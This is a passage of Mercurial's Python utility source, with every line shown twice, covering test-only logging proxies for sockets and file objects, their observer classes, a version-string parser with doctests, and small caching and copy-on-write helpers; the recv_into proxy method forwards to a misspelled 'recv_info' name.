534 r'writelines', *args, **kwargs)
534 r'writelines', *args, **kwargs)
535
535
536 def read(self, *args, **kwargs):
536 def read(self, *args, **kwargs):
537 return object.__getattribute__(self, r'_observedcall')(
537 return object.__getattribute__(self, r'_observedcall')(
538 r'read', *args, **kwargs)
538 r'read', *args, **kwargs)
539
539
540 def readall(self, *args, **kwargs):
540 def readall(self, *args, **kwargs):
541 return object.__getattribute__(self, r'_observedcall')(
541 return object.__getattribute__(self, r'_observedcall')(
542 r'readall', *args, **kwargs)
542 r'readall', *args, **kwargs)
543
543
544 def readinto(self, *args, **kwargs):
544 def readinto(self, *args, **kwargs):
545 return object.__getattribute__(self, r'_observedcall')(
545 return object.__getattribute__(self, r'_observedcall')(
546 r'readinto', *args, **kwargs)
546 r'readinto', *args, **kwargs)
547
547
548 def write(self, *args, **kwargs):
548 def write(self, *args, **kwargs):
549 return object.__getattribute__(self, r'_observedcall')(
549 return object.__getattribute__(self, r'_observedcall')(
550 r'write', *args, **kwargs)
550 r'write', *args, **kwargs)
551
551
552 def detach(self, *args, **kwargs):
552 def detach(self, *args, **kwargs):
553 return object.__getattribute__(self, r'_observedcall')(
553 return object.__getattribute__(self, r'_observedcall')(
554 r'detach', *args, **kwargs)
554 r'detach', *args, **kwargs)
555
555
556 def read1(self, *args, **kwargs):
556 def read1(self, *args, **kwargs):
557 return object.__getattribute__(self, r'_observedcall')(
557 return object.__getattribute__(self, r'_observedcall')(
558 r'read1', *args, **kwargs)
558 r'read1', *args, **kwargs)
559
559
560 class observedbufferedinputpipe(bufferedinputpipe):
560 class observedbufferedinputpipe(bufferedinputpipe):
561 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
561 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
562
562
563 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
563 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
564 bypass ``fileobjectproxy``. Because of this, we need to make
564 bypass ``fileobjectproxy``. Because of this, we need to make
565 ``bufferedinputpipe`` aware of these operations.
565 ``bufferedinputpipe`` aware of these operations.
566
566
567 This variation of ``bufferedinputpipe`` can notify observers about
567 This variation of ``bufferedinputpipe`` can notify observers about
568 ``os.read()`` events. It also re-publishes other events, such as
568 ``os.read()`` events. It also re-publishes other events, such as
569 ``read()`` and ``readline()``.
569 ``read()`` and ``readline()``.
570 """
570 """
571 def _fillbuffer(self):
571 def _fillbuffer(self):
572 res = super(observedbufferedinputpipe, self)._fillbuffer()
572 res = super(observedbufferedinputpipe, self)._fillbuffer()
573
573
574 fn = getattr(self._input._observer, r'osread', None)
574 fn = getattr(self._input._observer, r'osread', None)
575 if fn:
575 if fn:
576 fn(res, _chunksize)
576 fn(res, _chunksize)
577
577
578 return res
578 return res
579
579
580 # We use different observer methods because the operation isn't
580 # We use different observer methods because the operation isn't
581 # performed on the actual file object but on us.
581 # performed on the actual file object but on us.
582 def read(self, size):
582 def read(self, size):
583 res = super(observedbufferedinputpipe, self).read(size)
583 res = super(observedbufferedinputpipe, self).read(size)
584
584
585 fn = getattr(self._input._observer, r'bufferedread', None)
585 fn = getattr(self._input._observer, r'bufferedread', None)
586 if fn:
586 if fn:
587 fn(res, size)
587 fn(res, size)
588
588
589 return res
589 return res
590
590
591 def readline(self, *args, **kwargs):
591 def readline(self, *args, **kwargs):
592 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
592 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
593
593
594 fn = getattr(self._input._observer, r'bufferedreadline', None)
594 fn = getattr(self._input._observer, r'bufferedreadline', None)
595 if fn:
595 if fn:
596 fn(res)
596 fn(res)
597
597
598 return res
598 return res
599
599
600 PROXIED_SOCKET_METHODS = {
600 PROXIED_SOCKET_METHODS = {
601 r'makefile',
601 r'makefile',
602 r'recv',
602 r'recv',
603 r'recvfrom',
603 r'recvfrom',
604 r'recvfrom_into',
604 r'recvfrom_into',
605 r'recv_into',
605 r'recv_into',
606 r'send',
606 r'send',
607 r'sendall',
607 r'sendall',
608 r'sendto',
608 r'sendto',
609 r'setblocking',
609 r'setblocking',
610 r'settimeout',
610 r'settimeout',
611 r'gettimeout',
611 r'gettimeout',
612 r'setsockopt',
612 r'setsockopt',
613 }
613 }
614
614
615 class socketproxy(object):
615 class socketproxy(object):
616 """A proxy around a socket that tells a watcher when events occur.
616 """A proxy around a socket that tells a watcher when events occur.
617
617
618 This is like ``fileobjectproxy`` except for sockets.
618 This is like ``fileobjectproxy`` except for sockets.
619
619
620 This type is intended to only be used for testing purposes. Think hard
620 This type is intended to only be used for testing purposes. Think hard
621 before using it in important code.
621 before using it in important code.
622 """
622 """
623 __slots__ = (
623 __slots__ = (
624 r'_orig',
624 r'_orig',
625 r'_observer',
625 r'_observer',
626 )
626 )
627
627
628 def __init__(self, sock, observer):
628 def __init__(self, sock, observer):
629 object.__setattr__(self, r'_orig', sock)
629 object.__setattr__(self, r'_orig', sock)
630 object.__setattr__(self, r'_observer', observer)
630 object.__setattr__(self, r'_observer', observer)
631
631
632 def __getattribute__(self, name):
632 def __getattribute__(self, name):
633 if name in PROXIED_SOCKET_METHODS:
633 if name in PROXIED_SOCKET_METHODS:
634 return object.__getattribute__(self, name)
634 return object.__getattribute__(self, name)
635
635
636 return getattr(object.__getattribute__(self, r'_orig'), name)
636 return getattr(object.__getattribute__(self, r'_orig'), name)
637
637
638 def __delattr__(self, name):
638 def __delattr__(self, name):
639 return delattr(object.__getattribute__(self, r'_orig'), name)
639 return delattr(object.__getattribute__(self, r'_orig'), name)
640
640
641 def __setattr__(self, name, value):
641 def __setattr__(self, name, value):
642 return setattr(object.__getattribute__(self, r'_orig'), name, value)
642 return setattr(object.__getattribute__(self, r'_orig'), name, value)
643
643
644 def __nonzero__(self):
644 def __nonzero__(self):
645 return bool(object.__getattribute__(self, r'_orig'))
645 return bool(object.__getattribute__(self, r'_orig'))
646
646
647 __bool__ = __nonzero__
647 __bool__ = __nonzero__
648
648
649 def _observedcall(self, name, *args, **kwargs):
649 def _observedcall(self, name, *args, **kwargs):
650 # Call the original object.
650 # Call the original object.
651 orig = object.__getattribute__(self, r'_orig')
651 orig = object.__getattribute__(self, r'_orig')
652 res = getattr(orig, name)(*args, **kwargs)
652 res = getattr(orig, name)(*args, **kwargs)
653
653
654 # Call a method on the observer of the same name with arguments
654 # Call a method on the observer of the same name with arguments
655 # so it can react, log, etc.
655 # so it can react, log, etc.
656 observer = object.__getattribute__(self, r'_observer')
656 observer = object.__getattribute__(self, r'_observer')
657 fn = getattr(observer, name, None)
657 fn = getattr(observer, name, None)
658 if fn:
658 if fn:
659 fn(res, *args, **kwargs)
659 fn(res, *args, **kwargs)
660
660
661 return res
661 return res
662
662
663 def makefile(self, *args, **kwargs):
663 def makefile(self, *args, **kwargs):
664 res = object.__getattribute__(self, r'_observedcall')(
664 res = object.__getattribute__(self, r'_observedcall')(
665 r'makefile', *args, **kwargs)
665 r'makefile', *args, **kwargs)
666
666
667 # The file object may be used for I/O. So we turn it into a
667 # The file object may be used for I/O. So we turn it into a
668 # proxy using our observer.
668 # proxy using our observer.
669 observer = object.__getattribute__(self, r'_observer')
669 observer = object.__getattribute__(self, r'_observer')
670 return makeloggingfileobject(observer.fh, res, observer.name,
670 return makeloggingfileobject(observer.fh, res, observer.name,
671 reads=observer.reads,
671 reads=observer.reads,
672 writes=observer.writes,
672 writes=observer.writes,
673 logdata=observer.logdata,
673 logdata=observer.logdata,
674 logdataapis=observer.logdataapis)
674 logdataapis=observer.logdataapis)
675
675
676 def recv(self, *args, **kwargs):
676 def recv(self, *args, **kwargs):
677 return object.__getattribute__(self, r'_observedcall')(
677 return object.__getattribute__(self, r'_observedcall')(
678 r'recv', *args, **kwargs)
678 r'recv', *args, **kwargs)
679
679
680 def recvfrom(self, *args, **kwargs):
680 def recvfrom(self, *args, **kwargs):
681 return object.__getattribute__(self, r'_observedcall')(
681 return object.__getattribute__(self, r'_observedcall')(
682 r'recvfrom', *args, **kwargs)
682 r'recvfrom', *args, **kwargs)
683
683
684 def recvfrom_into(self, *args, **kwargs):
684 def recvfrom_into(self, *args, **kwargs):
685 return object.__getattribute__(self, r'_observedcall')(
685 return object.__getattribute__(self, r'_observedcall')(
686 r'recvfrom_into', *args, **kwargs)
686 r'recvfrom_into', *args, **kwargs)
687
687
688 def recv_into(self, *args, **kwargs):
688 def recv_into(self, *args, **kwargs):
689 return object.__getattribute__(self, r'_observedcall')(
689 return object.__getattribute__(self, r'_observedcall')(
690 r'recv_info', *args, **kwargs)
690 r'recv_info', *args, **kwargs)
691
691
692 def send(self, *args, **kwargs):
692 def send(self, *args, **kwargs):
693 return object.__getattribute__(self, r'_observedcall')(
693 return object.__getattribute__(self, r'_observedcall')(
694 r'send', *args, **kwargs)
694 r'send', *args, **kwargs)
695
695
696 def sendall(self, *args, **kwargs):
696 def sendall(self, *args, **kwargs):
697 return object.__getattribute__(self, r'_observedcall')(
697 return object.__getattribute__(self, r'_observedcall')(
698 r'sendall', *args, **kwargs)
698 r'sendall', *args, **kwargs)
699
699
700 def sendto(self, *args, **kwargs):
700 def sendto(self, *args, **kwargs):
701 return object.__getattribute__(self, r'_observedcall')(
701 return object.__getattribute__(self, r'_observedcall')(
702 r'sendto', *args, **kwargs)
702 r'sendto', *args, **kwargs)
703
703
704 def setblocking(self, *args, **kwargs):
704 def setblocking(self, *args, **kwargs):
705 return object.__getattribute__(self, r'_observedcall')(
705 return object.__getattribute__(self, r'_observedcall')(
706 r'setblocking', *args, **kwargs)
706 r'setblocking', *args, **kwargs)
707
707
708 def settimeout(self, *args, **kwargs):
708 def settimeout(self, *args, **kwargs):
709 return object.__getattribute__(self, r'_observedcall')(
709 return object.__getattribute__(self, r'_observedcall')(
710 r'settimeout', *args, **kwargs)
710 r'settimeout', *args, **kwargs)
711
711
712 def gettimeout(self, *args, **kwargs):
712 def gettimeout(self, *args, **kwargs):
713 return object.__getattribute__(self, r'_observedcall')(
713 return object.__getattribute__(self, r'_observedcall')(
714 r'gettimeout', *args, **kwargs)
714 r'gettimeout', *args, **kwargs)
715
715
716 def setsockopt(self, *args, **kwargs):
716 def setsockopt(self, *args, **kwargs):
717 return object.__getattribute__(self, r'_observedcall')(
717 return object.__getattribute__(self, r'_observedcall')(
718 r'setsockopt', *args, **kwargs)
718 r'setsockopt', *args, **kwargs)
719
719
720 class baseproxyobserver(object):
720 class baseproxyobserver(object):
721 def _writedata(self, data):
721 def _writedata(self, data):
722 if not self.logdata:
722 if not self.logdata:
723 if self.logdataapis:
723 if self.logdataapis:
724 self.fh.write('\n')
724 self.fh.write('\n')
725 self.fh.flush()
725 self.fh.flush()
726 return
726 return
727
727
728 # Simple case writes all data on a single line.
728 # Simple case writes all data on a single line.
729 if b'\n' not in data:
729 if b'\n' not in data:
730 if self.logdataapis:
730 if self.logdataapis:
731 self.fh.write(': %s\n' % stringutil.escapestr(data))
731 self.fh.write(': %s\n' % stringutil.escapestr(data))
732 else:
732 else:
733 self.fh.write('%s> %s\n'
733 self.fh.write('%s> %s\n'
734 % (self.name, stringutil.escapestr(data)))
734 % (self.name, stringutil.escapestr(data)))
735 self.fh.flush()
735 self.fh.flush()
736 return
736 return
737
737
738 # Data with newlines is written to multiple lines.
738 # Data with newlines is written to multiple lines.
739 if self.logdataapis:
739 if self.logdataapis:
740 self.fh.write(':\n')
740 self.fh.write(':\n')
741
741
742 lines = data.splitlines(True)
742 lines = data.splitlines(True)
743 for line in lines:
743 for line in lines:
744 self.fh.write('%s> %s\n'
744 self.fh.write('%s> %s\n'
745 % (self.name, stringutil.escapestr(line)))
745 % (self.name, stringutil.escapestr(line)))
746 self.fh.flush()
746 self.fh.flush()
747
747
748 class fileobjectobserver(baseproxyobserver):
748 class fileobjectobserver(baseproxyobserver):
749 """Logs file object activity."""
749 """Logs file object activity."""
750 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
750 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
751 logdataapis=True):
751 logdataapis=True):
752 self.fh = fh
752 self.fh = fh
753 self.name = name
753 self.name = name
754 self.logdata = logdata
754 self.logdata = logdata
755 self.logdataapis = logdataapis
755 self.logdataapis = logdataapis
756 self.reads = reads
756 self.reads = reads
757 self.writes = writes
757 self.writes = writes
758
758
759 def read(self, res, size=-1):
759 def read(self, res, size=-1):
760 if not self.reads:
760 if not self.reads:
761 return
761 return
762 # Python 3 can return None from reads at EOF instead of empty strings.
762 # Python 3 can return None from reads at EOF instead of empty strings.
763 if res is None:
763 if res is None:
764 res = ''
764 res = ''
765
765
766 if size == -1 and res == '':
766 if size == -1 and res == '':
767 # Suppress pointless read(-1) calls that return
767 # Suppress pointless read(-1) calls that return
768 # nothing. These happen _a lot_ on Python 3, and there
768 # nothing. These happen _a lot_ on Python 3, and there
769 # doesn't seem to be a better workaround to have matching
769 # doesn't seem to be a better workaround to have matching
770 # Python 2 and 3 behavior. :(
770 # Python 2 and 3 behavior. :(
771 return
771 return
772
772
773 if self.logdataapis:
773 if self.logdataapis:
774 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
774 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
775
775
776 self._writedata(res)
776 self._writedata(res)
777
777
778 def readline(self, res, limit=-1):
778 def readline(self, res, limit=-1):
779 if not self.reads:
779 if not self.reads:
780 return
780 return
781
781
782 if self.logdataapis:
782 if self.logdataapis:
783 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
783 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
784
784
785 self._writedata(res)
785 self._writedata(res)
786
786
787 def readinto(self, res, dest):
787 def readinto(self, res, dest):
788 if not self.reads:
788 if not self.reads:
789 return
789 return
790
790
791 if self.logdataapis:
791 if self.logdataapis:
792 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
792 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
793 res))
793 res))
794
794
795 data = dest[0:res] if res is not None else b''
795 data = dest[0:res] if res is not None else b''
796
796
797 # _writedata() uses "in" operator and is confused by memoryview because
797 # _writedata() uses "in" operator and is confused by memoryview because
798 # characters are ints on Python 3.
798 # characters are ints on Python 3.
799 if isinstance(data, memoryview):
799 if isinstance(data, memoryview):
800 data = data.tobytes()
800 data = data.tobytes()
801
801
802 self._writedata(data)
802 self._writedata(data)
803
803
804 def write(self, res, data):
804 def write(self, res, data):
805 if not self.writes:
805 if not self.writes:
806 return
806 return
807
807
808 # Python 2 returns None from some write() calls. Python 3 (reasonably)
808 # Python 2 returns None from some write() calls. Python 3 (reasonably)
809 # returns the integer bytes written.
809 # returns the integer bytes written.
810 if res is None and data:
810 if res is None and data:
811 res = len(data)
811 res = len(data)
812
812
813 if self.logdataapis:
813 if self.logdataapis:
814 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
814 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
815
815
816 self._writedata(data)
816 self._writedata(data)
817
817
818 def flush(self, res):
818 def flush(self, res):
819 if not self.writes:
819 if not self.writes:
820 return
820 return
821
821
822 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
822 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
823
823
824 # For observedbufferedinputpipe.
824 # For observedbufferedinputpipe.
825 def bufferedread(self, res, size):
825 def bufferedread(self, res, size):
826 if not self.reads:
826 if not self.reads:
827 return
827 return
828
828
829 if self.logdataapis:
829 if self.logdataapis:
830 self.fh.write('%s> bufferedread(%d) -> %d' % (
830 self.fh.write('%s> bufferedread(%d) -> %d' % (
831 self.name, size, len(res)))
831 self.name, size, len(res)))
832
832
833 self._writedata(res)
833 self._writedata(res)
834
834
835 def bufferedreadline(self, res):
835 def bufferedreadline(self, res):
836 if not self.reads:
836 if not self.reads:
837 return
837 return
838
838
839 if self.logdataapis:
839 if self.logdataapis:
840 self.fh.write('%s> bufferedreadline() -> %d' % (
840 self.fh.write('%s> bufferedreadline() -> %d' % (
841 self.name, len(res)))
841 self.name, len(res)))
842
842
843 self._writedata(res)
843 self._writedata(res)
844
844
845 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
845 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
846 logdata=False, logdataapis=True):
846 logdata=False, logdataapis=True):
847 """Turn a file object into a logging file object."""
847 """Turn a file object into a logging file object."""
848
848
849 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
849 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
850 logdata=logdata, logdataapis=logdataapis)
850 logdata=logdata, logdataapis=logdataapis)
851 return fileobjectproxy(fh, observer)
851 return fileobjectproxy(fh, observer)
852
852
853 class socketobserver(baseproxyobserver):
853 class socketobserver(baseproxyobserver):
854 """Logs socket activity."""
854 """Logs socket activity."""
855 def __init__(self, fh, name, reads=True, writes=True, states=True,
855 def __init__(self, fh, name, reads=True, writes=True, states=True,
856 logdata=False, logdataapis=True):
856 logdata=False, logdataapis=True):
857 self.fh = fh
857 self.fh = fh
858 self.name = name
858 self.name = name
859 self.reads = reads
859 self.reads = reads
860 self.writes = writes
860 self.writes = writes
861 self.states = states
861 self.states = states
862 self.logdata = logdata
862 self.logdata = logdata
863 self.logdataapis = logdataapis
863 self.logdataapis = logdataapis
864
864
865 def makefile(self, res, mode=None, bufsize=None):
865 def makefile(self, res, mode=None, bufsize=None):
866 if not self.states:
866 if not self.states:
867 return
867 return
868
868
869 self.fh.write('%s> makefile(%r, %r)\n' % (
869 self.fh.write('%s> makefile(%r, %r)\n' % (
870 self.name, mode, bufsize))
870 self.name, mode, bufsize))
871
871
872 def recv(self, res, size, flags=0):
872 def recv(self, res, size, flags=0):
873 if not self.reads:
873 if not self.reads:
874 return
874 return
875
875
876 if self.logdataapis:
876 if self.logdataapis:
877 self.fh.write('%s> recv(%d, %d) -> %d' % (
877 self.fh.write('%s> recv(%d, %d) -> %d' % (
878 self.name, size, flags, len(res)))
878 self.name, size, flags, len(res)))
879 self._writedata(res)
879 self._writedata(res)
880
880
881 def recvfrom(self, res, size, flags=0):
881 def recvfrom(self, res, size, flags=0):
882 if not self.reads:
882 if not self.reads:
883 return
883 return
884
884
885 if self.logdataapis:
885 if self.logdataapis:
886 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
886 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
887 self.name, size, flags, len(res[0])))
887 self.name, size, flags, len(res[0])))
888
888
889 self._writedata(res[0])
889 self._writedata(res[0])
890
890
891 def recvfrom_into(self, res, buf, size, flags=0):
891 def recvfrom_into(self, res, buf, size, flags=0):
892 if not self.reads:
892 if not self.reads:
893 return
893 return
894
894
895 if self.logdataapis:
895 if self.logdataapis:
896 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
896 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
897 self.name, size, flags, res[0]))
897 self.name, size, flags, res[0]))
898
898
899 self._writedata(buf[0:res[0]])
899 self._writedata(buf[0:res[0]])
900
900
901 def recv_into(self, res, buf, size=0, flags=0):
901 def recv_into(self, res, buf, size=0, flags=0):
902 if not self.reads:
902 if not self.reads:
903 return
903 return
904
904
905 if self.logdataapis:
905 if self.logdataapis:
906 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
906 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
907 self.name, size, flags, res))
907 self.name, size, flags, res))
908
908
909 self._writedata(buf[0:res])
909 self._writedata(buf[0:res])
910
910
911 def send(self, res, data, flags=0):
911 def send(self, res, data, flags=0):
912 if not self.writes:
912 if not self.writes:
913 return
913 return
914
914
915 self.fh.write('%s> send(%d, %d) -> %d' % (
915 self.fh.write('%s> send(%d, %d) -> %d' % (
916 self.name, len(data), flags, len(res)))
916 self.name, len(data), flags, len(res)))
917 self._writedata(data)
917 self._writedata(data)
918
918
919 def sendall(self, res, data, flags=0):
919 def sendall(self, res, data, flags=0):
920 if not self.writes:
920 if not self.writes:
921 return
921 return
922
922
923 if self.logdataapis:
923 if self.logdataapis:
924 # Returns None on success. So don't bother reporting return value.
924 # Returns None on success. So don't bother reporting return value.
925 self.fh.write('%s> sendall(%d, %d)' % (
925 self.fh.write('%s> sendall(%d, %d)' % (
926 self.name, len(data), flags))
926 self.name, len(data), flags))
927
927
928 self._writedata(data)
928 self._writedata(data)
929
929
930 def sendto(self, res, data, flagsoraddress, address=None):
930 def sendto(self, res, data, flagsoraddress, address=None):
931 if not self.writes:
931 if not self.writes:
932 return
932 return
933
933
934 if address:
934 if address:
935 flags = flagsoraddress
935 flags = flagsoraddress
936 else:
936 else:
937 flags = 0
937 flags = 0
938
938
939 if self.logdataapis:
939 if self.logdataapis:
940 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
940 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
941 self.name, len(data), flags, address, res))
941 self.name, len(data), flags, address, res))
942
942
943 self._writedata(data)
943 self._writedata(data)
944
944
945 def setblocking(self, res, flag):
945 def setblocking(self, res, flag):
946 if not self.states:
946 if not self.states:
947 return
947 return
948
948
949 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
949 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
950
950
951 def settimeout(self, res, value):
951 def settimeout(self, res, value):
952 if not self.states:
952 if not self.states:
953 return
953 return
954
954
955 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
955 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
956
956
957 def gettimeout(self, res):
957 def gettimeout(self, res):
958 if not self.states:
958 if not self.states:
959 return
959 return
960
960
961 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
961 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
962
962
963 def setsockopt(self, res, level, optname, value):
963 def setsockopt(self, res, level, optname, value):
964 if not self.states:
964 if not self.states:
965 return
965 return
966
966
967 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
967 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
968 self.name, level, optname, value, res))
968 self.name, level, optname, value, res))
969
969
970 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
970 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
971 logdata=False, logdataapis=True):
971 logdata=False, logdataapis=True):
972 """Turn a socket into a logging socket."""
972 """Turn a socket into a logging socket."""
973
973
974 observer = socketobserver(logh, name, reads=reads, writes=writes,
974 observer = socketobserver(logh, name, reads=reads, writes=writes,
975 states=states, logdata=logdata,
975 states=states, logdata=logdata,
976 logdataapis=logdataapis)
976 logdataapis=logdataapis)
977 return socketproxy(fh, observer)
977 return socketproxy(fh, observer)
978
978
979 def version():
979 def version():
980 """Return version information if available."""
980 """Return version information if available."""
981 try:
981 try:
982 from . import __version__
982 from . import __version__
983 return __version__.version
983 return __version__.version
984 except ImportError:
984 except ImportError:
985 return 'unknown'
985 return 'unknown'
986
986
987 def versiontuple(v=None, n=4):
987 def versiontuple(v=None, n=4):
988 """Parses a Mercurial version string into an N-tuple.
988 """Parses a Mercurial version string into an N-tuple.
989
989
990 The version string to be parsed is specified with the ``v`` argument.
990 The version string to be parsed is specified with the ``v`` argument.
991 If it isn't defined, the current Mercurial version string will be parsed.
991 If it isn't defined, the current Mercurial version string will be parsed.
992
992
993 ``n`` can be 2, 3, or 4. Here is how some version strings map to
993 ``n`` can be 2, 3, or 4. Here is how some version strings map to
994 returned values:
994 returned values:
995
995
996 >>> v = b'3.6.1+190-df9b73d2d444'
996 >>> v = b'3.6.1+190-df9b73d2d444'
997 >>> versiontuple(v, 2)
997 >>> versiontuple(v, 2)
998 (3, 6)
998 (3, 6)
999 >>> versiontuple(v, 3)
999 >>> versiontuple(v, 3)
1000 (3, 6, 1)
1000 (3, 6, 1)
1001 >>> versiontuple(v, 4)
1001 >>> versiontuple(v, 4)
1002 (3, 6, 1, '190-df9b73d2d444')
1002 (3, 6, 1, '190-df9b73d2d444')
1003
1003
1004 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1004 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1005 (3, 6, 1, '190-df9b73d2d444+20151118')
1005 (3, 6, 1, '190-df9b73d2d444+20151118')
1006
1006
1007 >>> v = b'3.6'
1007 >>> v = b'3.6'
1008 >>> versiontuple(v, 2)
1008 >>> versiontuple(v, 2)
1009 (3, 6)
1009 (3, 6)
1010 >>> versiontuple(v, 3)
1010 >>> versiontuple(v, 3)
1011 (3, 6, None)
1011 (3, 6, None)
1012 >>> versiontuple(v, 4)
1012 >>> versiontuple(v, 4)
1013 (3, 6, None, None)
1013 (3, 6, None, None)
1014
1014
1015 >>> v = b'3.9-rc'
1015 >>> v = b'3.9-rc'
1016 >>> versiontuple(v, 2)
1016 >>> versiontuple(v, 2)
1017 (3, 9)
1017 (3, 9)
1018 >>> versiontuple(v, 3)
1018 >>> versiontuple(v, 3)
1019 (3, 9, None)
1019 (3, 9, None)
1020 >>> versiontuple(v, 4)
1020 >>> versiontuple(v, 4)
1021 (3, 9, None, 'rc')
1021 (3, 9, None, 'rc')
1022
1022
1023 >>> v = b'3.9-rc+2-02a8fea4289b'
1023 >>> v = b'3.9-rc+2-02a8fea4289b'
1024 >>> versiontuple(v, 2)
1024 >>> versiontuple(v, 2)
1025 (3, 9)
1025 (3, 9)
1026 >>> versiontuple(v, 3)
1026 >>> versiontuple(v, 3)
1027 (3, 9, None)
1027 (3, 9, None)
1028 >>> versiontuple(v, 4)
1028 >>> versiontuple(v, 4)
1029 (3, 9, None, 'rc+2-02a8fea4289b')
1029 (3, 9, None, 'rc+2-02a8fea4289b')
1030
1030
1031 >>> versiontuple(b'4.6rc0')
1031 >>> versiontuple(b'4.6rc0')
1032 (4, 6, None, 'rc0')
1032 (4, 6, None, 'rc0')
1033 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1033 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1034 (4, 6, None, 'rc0+12-425d55e54f98')
1034 (4, 6, None, 'rc0+12-425d55e54f98')
1035 >>> versiontuple(b'.1.2.3')
1035 >>> versiontuple(b'.1.2.3')
1036 (None, None, None, '.1.2.3')
1036 (None, None, None, '.1.2.3')
1037 >>> versiontuple(b'12.34..5')
1037 >>> versiontuple(b'12.34..5')
1038 (12, 34, None, '..5')
1038 (12, 34, None, '..5')
1039 >>> versiontuple(b'1.2.3.4.5.6')
1039 >>> versiontuple(b'1.2.3.4.5.6')
1040 (1, 2, 3, '.4.5.6')
1040 (1, 2, 3, '.4.5.6')
1041 """
1041 """
1042 if not v:
1042 if not v:
1043 v = version()
1043 v = version()
1044 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1044 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1045 if not m:
1045 if not m:
1046 vparts, extra = '', v
1046 vparts, extra = '', v
1047 elif m.group(2):
1047 elif m.group(2):
1048 vparts, extra = m.groups()
1048 vparts, extra = m.groups()
1049 else:
1049 else:
1050 vparts, extra = m.group(1), None
1050 vparts, extra = m.group(1), None
1051
1051
1052 vints = []
1052 vints = []
1053 for i in vparts.split('.'):
1053 for i in vparts.split('.'):
1054 try:
1054 try:
1055 vints.append(int(i))
1055 vints.append(int(i))
1056 except ValueError:
1056 except ValueError:
1057 break
1057 break
1058 # (3, 6) -> (3, 6, None)
1058 # (3, 6) -> (3, 6, None)
1059 while len(vints) < 3:
1059 while len(vints) < 3:
1060 vints.append(None)
1060 vints.append(None)
1061
1061
1062 if n == 2:
1062 if n == 2:
1063 return (vints[0], vints[1])
1063 return (vints[0], vints[1])
1064 if n == 3:
1064 if n == 3:
1065 return (vints[0], vints[1], vints[2])
1065 return (vints[0], vints[1], vints[2])
1066 if n == 4:
1066 if n == 4:
1067 return (vints[0], vints[1], vints[2], extra)
1067 return (vints[0], vints[1], vints[2], extra)
1068
1068
1069 def cachefunc(func):
1069 def cachefunc(func):
1070 '''cache the result of function calls'''
1070 '''cache the result of function calls'''
1071 # XXX doesn't handle keywords args
1071 # XXX doesn't handle keywords args
1072 if func.__code__.co_argcount == 0:
1072 if func.__code__.co_argcount == 0:
1073 cache = []
1073 cache = []
1074 def f():
1074 def f():
1075 if len(cache) == 0:
1075 if len(cache) == 0:
1076 cache.append(func())
1076 cache.append(func())
1077 return cache[0]
1077 return cache[0]
1078 return f
1078 return f
1079 cache = {}
1079 cache = {}
1080 if func.__code__.co_argcount == 1:
1080 if func.__code__.co_argcount == 1:
1081 # we gain a small amount of time because
1081 # we gain a small amount of time because
1082 # we don't need to pack/unpack the list
1082 # we don't need to pack/unpack the list
1083 def f(arg):
1083 def f(arg):
1084 if arg not in cache:
1084 if arg not in cache:
1085 cache[arg] = func(arg)
1085 cache[arg] = func(arg)
1086 return cache[arg]
1086 return cache[arg]
1087 else:
1087 else:
1088 def f(*args):
1088 def f(*args):
1089 if args not in cache:
1089 if args not in cache:
1090 cache[args] = func(*args)
1090 cache[args] = func(*args)
1091 return cache[args]
1091 return cache[args]
1092
1092
1093 return f
1093 return f
1094
1094
1095 class cow(object):
1095 class cow(object):
1096 """helper class to make copy-on-write easier
1096 """helper class to make copy-on-write easier
1097
1097
1098 Call preparewrite before doing any writes.
1098 Call preparewrite before doing any writes.
1099 """
1099 """
1100
1100
1101 def preparewrite(self):
1101 def preparewrite(self):
1102 """call this before writes, return self or a copied new object"""
1102 """call this before writes, return self or a copied new object"""
1103 if getattr(self, '_copied', 0):
1103 if getattr(self, '_copied', 0):
1104 self._copied -= 1
1104 self._copied -= 1
1105 return self.__class__(self)
1105 return self.__class__(self)
1106 return self
1106 return self
1107
1107
1108 def copy(self):
1108 def copy(self):
1109 """always do a cheap copy"""
1109 """always do a cheap copy"""
